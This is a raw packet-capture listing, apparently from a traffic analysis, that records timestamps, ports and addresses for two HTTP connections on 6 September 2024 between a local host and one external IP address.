Sep 6, 2024 08:17:06.523493052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523509026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523526907 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523535967 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523539066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523549080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523575068 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523591995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523627996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523642063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523652077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523674965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523688078 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523735046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523745060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523761034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523776054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523785114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523786068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523797035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523807049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523809910 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523817062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523828983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523833990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523838997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523849010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523850918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523860931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523874044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523874998 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523900032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523911953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523917913 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523922920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523952961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523956060 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.523963928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523973942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.523993015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524007082 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524068117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524080038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524089098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524101019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524111032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524111986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524137020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524151087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524171114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524182081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524194002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524204016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524214029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524215937 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524224997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524240017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524241924 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524261951 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524281025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524415970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524426937 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524465084 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524471998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524487972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524529934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524589062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524600029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524610996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524621010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524631977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524632931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524666071 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524686098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524704933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524717093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524733067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524743080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524751902 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524754047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524765015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524776936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524785042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524797916 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524823904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524852991 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524888992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.524956942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524969101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524977922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524988890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.524996996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525001049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525012016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525024891 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525036097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525063038 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525232077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525243044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525253057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525264025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525274992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525275946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525285959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525298119 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525300980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525306940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525316000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525319099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525331974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525347948 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525357962 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525371075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525382042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525386095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525392056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525403023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525409937 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525417089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525428057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525433064 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525439024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525449038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525466919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525469065 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525476933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525486946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525487900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525504112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525511980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525516033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525527000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525535107 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525538921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525548935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525561094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525563955 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525571108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525577068 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525583029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525593042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525603056 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525605917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525616884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525626898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525635004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525639057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525650024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525660992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525660992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525671959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525677919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525682926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525684118 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525695086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525706053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525715113 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525721073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525743961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525746107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525755882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525763035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525772095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525783062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525789022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525794029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525805950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525816917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525816917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525829077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525830984 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525840044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.525856972 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.525876045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539535046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539547920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539563894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539582014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539589882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539594889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539632082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539658070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539668083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539679050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539690018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539699078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539701939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539721966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539743900 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539798021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539808989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539819956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.539835930 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539850950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.539993048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540003061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540014029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540024996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540030956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.540035963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540052891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.540076971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.540107965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540117979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540131092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540138960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.540144920 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.540173054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541702986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541721106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541733027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541749954 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541776896 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541801929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541811943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541821957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541832924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541843891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541843891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541871071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541877985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541882992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541901112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541908979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541912079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541920900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541929007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541959047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.541985989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.541996956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542006969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542026997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542037010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542047977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542057037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542059898 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542073011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542084932 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542084932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542109966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542121887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542139053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542150974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542185068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542500019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542516947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542540073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542553902 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542579889 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542589903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542602062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542618990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542627096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542634010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542644978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542654991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542673111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542679071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542690992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542696953 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542723894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542751074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542762041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542779922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542788029 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542790890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542803049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542812109 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542830944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542843103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542843103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542866945 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542876959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542887926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542901039 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542912960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542924881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542927980 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542936087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.542973042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.542994022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543010950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543031931 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543057919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543059111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543070078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543095112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543102980 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543106079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543114901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543126106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543133020 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543138027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543153048 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543176889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543189049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543199062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543226957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543250084 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543261051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543272018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543282986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543296099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543299913 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543307066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543312073 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543344975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543346882 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543360949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543392897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543399096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543404102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543415070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543426991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543428898 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543453932 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543476105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543478012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543487072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543509007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543518066 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543541908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543544054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543555021 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543565035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543579102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543585062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543612957 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.543747902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543759108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543771029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543781996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.543787003 CEST	49737	80	192.168.2.4	147.45.44.104
